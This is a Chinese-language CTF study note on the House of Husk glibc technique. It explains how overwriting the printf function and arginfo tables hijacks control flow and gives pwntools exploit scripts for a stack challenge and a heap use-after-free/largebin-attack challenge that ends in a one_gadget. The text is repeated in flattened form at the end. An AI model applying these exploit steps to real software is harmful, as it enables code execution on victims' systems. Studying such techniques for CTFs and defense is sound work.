house of huck 心得体会
字数 1961 2025-08-25 22:58:47

House of Husk 漏洞分析与利用

一、概述

House of Husk 是一种针对 glibc 中 printf 系列函数的利用技术,适用于 glibc 2.23 至今的版本。该技术通过劫持 printf 相关的函数指针表,实现在特定条件下劫持程序执行流。

二、漏洞原理

1. printf 函数工作机制

printf 函数通过检查 __printf_function_table 是否为空来判断是否有自定义的格式化字符。如果是 printf 类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec] 处的函数指针。

2. 关键数据结构

  • __printf_function_table: 存储自定义格式化函数的指针表
  • __printf_arginfo_table: 存储参数信息函数的指针表
  • spec: 格式化字符(ASCII 码值)

3. 漏洞触发路径

调用链:printf -> vfprintf -> printf_positional -> __parse_one_specmb

__printf_function_table 非空时,会调用 printf_positional 函数,进而触发 __parse_one_specmb 函数中对 __printf_arginfo_table[spec] 的调用。

三、利用条件

  1. 能够使 __printf_function_table 处非空
  2. 能够向 __printf_arginfo_table 处写入地址

四、利用方法

  1. 劫持 __printf_function_table 使其非空
  2. 劫持 __printf_arginfo_table 使其表中存放的 spec 对应位置是后门或构造的利用链
  3. 执行 printf 函数时触发函数指针调用

注意:当调用 printf("%S\n",a) 时,应该将 __printf_arginfo_table[73] 的位置(即 &__printf_arginfo_table + 0x73*8 处)写入目标地址。

五、源码分析

1. 注册函数

__register_printf_function 为格式化字符 spec 的格式化输出注册函数,__register_printf_specifier 是对这个函数的封装:

int __register_printf_function (int spec, printf_function converter,
                printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter,
                      (printf_arginfo_size_function*) arginfo);
}

int __register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX) {
      __set_errno (EINVAL);
      return -1;
  }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL) {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL) {
    result = -1;
    goto out;
      }

      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
  }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);
  return result;
}

2. vfprintf 函数关键检查

/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

do_positional:
  if (__glibc_unlikely (workstart != NULL)) {
      free (workstart);
      workstart = NULL;
  }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);

3. __parse_one_specmb 函数关键调用

spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
    || spec->info.spec > UCHAR_MAX
    || __printf_arginfo_table[spec->info.spec] == NULL
    || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
               (&spec->info, 1, &spec->data_arg_type,
                &spec->size)) < 0) {
    spec->ndata_args = 1;
    ...
}

六、例题分析

1. readme_revenge(栈题利用)

程序特点

  • 简单读写功能
  • 静态编译,flag 在 data 段
  • 可以覆盖关键数据结构

利用思路

  1. 利用 stack_chk_fail() 会打印 __libc_argv[0] 的特性
  2. __libc_argv[0] 修改为 flag 的地址
  3. __printf_function_table 置为非空
  4. __printf_arginfo_table[spec] 篡改为 __stack_chk_fail()

利用代码

stack_chk_fail = 0x4359B0
flag_addr = 0x6B4040   
name_addr = 0x6B73E0
libc_argv = 0x6b7980

payload = p64(flag_addr)
payload = payload.ljust(libc_argv - name_addr, b'a')
payload += p64(name_addr)  # libc_argv[0] -> name_addr -> flag
payload = payload.ljust(0x6b7a28 - name_addr, b'a')
payload += p64(0x1)        # __printf_function_table != 0
payload += p64(0x0)        # __printf_modifier_table = 0
payload = payload.ljust(0x6b7aa8 - name_addr, b'a')
payload += p64(printf_arginfo_table) 
payload += p64(0xdeadbeef)*(0x73-1)
payload += p64(stack_chk_fail)  # __printf_arginfo_table[73]

2. heap_level1(堆题利用)

程序特点

  • 限制大小 0x41f-0x550
  • 最多修改 0xf 个堆块
  • 存在 UAF 漏洞

利用步骤

(1) 获取 libc 基地址

add(0x500,0,b'aaa')
add(0x500,1,b'bbb')
delete(0)
show(0)
libc_base = l64()-96-0x10-libc.sym['__malloc_hook']

(2) 获取堆地址

delete(1)
add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')
edit(0, b'\x00'*0x420+p64(0)+p64(0x41))  # 6c0
edit(1, b'\x00'*0x340+p64(0)+p64(0x41))  # af0
delete(3)
delete(4)
show(4)
heap_addr = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x6d0

(3) Largebin Attack 攻击 __printf_function_table

add(0x448,5, b'fff')
add(0x500,6, b'ggg')
add(0x458,7, b'hhh')
add(0x500,8, b'iii')
delete(7)
add(0x500,9,b'jjj')  # chunk7 -> large

delete(5)  # ub
printf_function_table = libc_base+0x1f1318
pl = p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
edit(7, pl)
add(0x500,10,'kkk')  # attack

(4) Largebin Attack 攻击 __printf_arginfo_table

add(0x448,11,'lll')  # rl chunk5
delete(11)  # ub
printf_arginfo_table = libc_base+0x1ed7b0
pl = p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7, pl)
add(0x500,12,'mmm')  # attack

(5) 修改 spec 处为 onegadget

ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]
pl = b'a'*((ord('X'))*8-0x10)+p64(og)
edit(11, pl)
sla('>> ','5')  # 触发

七、调试技巧

  1. vfprintf 中检查 __printf_function_table 是否为 0
  2. 观察 printf_positional 函数的调用
  3. 关注 __parse_one_specmb 函数中对 __printf_modifier_table 的检查
  4. 跟踪 __printf_arginfo_table[spec] 的调用过程

八、防御措施

  1. 及时更新 glibc 版本
  2. 启用 ASLR 和 DEP 保护
  3. 对用户输入进行严格过滤
  4. 避免使用危险的格式化字符串函数

九、参考资源

  1. house-of-husk学习笔记-安全客
  2. [关于house of husk的学习总结 | ZIKH26's Blog]
  3. glibc 源码分析

通过深入理解 House of Husk 技术,安全研究人员可以更好地防御此类攻击,同时也能在 CTF 比赛中有效利用这一技术解决相关题目。

House of Husk 漏洞分析与利用 一、概述 House of Husk 是一种针对 glibc 中 printf 系列函数的利用技术,适用于 glibc 2.23 至今的版本。该技术通过劫持 printf 相关的函数指针表,实现在特定条件下劫持程序执行流。 二、漏洞原理 1. printf 函数工作机制 printf 函数通过检查 __printf_function_table 是否为空来判断是否有自定义的格式化字符。如果是 printf 类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec] 处的函数指针。 2. 关键数据结构 __printf_function_table : 存储自定义格式化函数的指针表 __printf_arginfo_table : 存储参数信息函数的指针表 spec : 格式化字符(ASCII 码值) 3. 漏洞触发路径 调用链: printf -> vfprintf -> printf_positional -> __parse_one_specmb 当 __printf_function_table 非空时,会调用 printf_positional 函数,进而触发 __parse_one_specmb 函数中对 __printf_arginfo_table[spec] 的调用。 三、利用条件 能够使 __printf_function_table 处非空 能够向 __printf_arginfo_table 处写入地址 四、利用方法 劫持 __printf_function_table 使其非空 劫持 __printf_arginfo_table 使其表中存放的 spec 对应位置是后门或构造的利用链 执行 printf 函数时触发函数指针调用 注意 :当调用 printf("%S\n",a) 时,应该将 __printf_arginfo_table[73] 的位置(即 &__printf_arginfo_table + 0x73*8 处)写入目标地址。 五、源码分析 1. 注册函数 __register_printf_function 为格式化字符 spec 的格式化输出注册函数, __register_printf_specifier 是对这个函数的封装: 2. vfprintf 函数关键检查 3. __ parse_ one_ specmb 函数关键调用 六、例题分析 1. readme_ revenge(栈题利用) 程序特点 : 简单读写功能 静态编译,flag 在 data 段 可以覆盖关键数据结构 利用思路 : 利用 stack_chk_fail() 会打印 __libc_argv[0] 的特性 将 __libc_argv[0] 修改为 flag 的地址 将 __printf_function_table 置为非空 将 __printf_arginfo_table[spec] 篡改为 __stack_chk_fail() 利用代码 : 2. heap_ level1(堆题利用) 程序特点 : 限制大小 0x41f-0x550 最多修改 0xf 个堆块 存在 UAF 漏洞 利用步骤 : (1) 获取 libc 基地址 (2) 获取堆地址 (3) Largebin Attack 攻击 __printf_function_table (4) Largebin Attack 攻击 __printf_arginfo_table (5) 修改 spec 处为 onegadget 七、调试技巧 在 vfprintf 中检查 __printf_function_table 是否为 0 观察 printf_positional 函数的调用 关注 __parse_one_specmb 函数中对 __printf_modifier_table 的检查 跟踪 __printf_arginfo_table[spec] 的调用过程 八、防御措施 及时更新 glibc 版本 启用 ASLR 和 DEP 保护 对用户输入进行严格过滤 避免使用危险的格式化字符串函数 九、参考资源 house-of-husk学习笔记-安全客 [ 关于house of husk的学习总结 | ZIKH26's Blog ] glibc 源码分析 通过深入理解 House of Husk 技术,安全研究人员可以更好地防御此类攻击,同时也能在 CTF 比赛中有效利用这一技术解决相关题目。